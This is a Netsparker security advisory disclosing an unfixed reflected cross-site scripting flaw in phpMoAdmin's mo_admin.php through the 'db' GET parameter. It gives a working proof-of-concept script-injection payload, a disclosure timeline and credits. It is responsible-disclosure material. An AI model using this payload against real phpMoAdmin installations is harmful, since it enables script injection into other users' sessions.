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XSS Vulnerability Identified in phpMoAdmin

Advisory by Netsparker.
Name: XSS Vulnerability in phpMoAdmin
Affected Software : phpMoAdmin
Vendor Homepage :
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not fixed
Netsparker Advisory Reference : NS-15-010

Technical Details
Proof of Concept URL for XSS in phpMoAdmin:

Page: mo_admin.php
Parameter Name: db
Parameter Type: GET
Attack Pattern:'"--></style></scRipt><scRipt>alert(0x0010CA)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
16/03/2015 - First Contact
08/06/2015 - Second Contact
30/06/2015 - Third Contact
30/07/2015 - Advisory released

Credits & Authors
These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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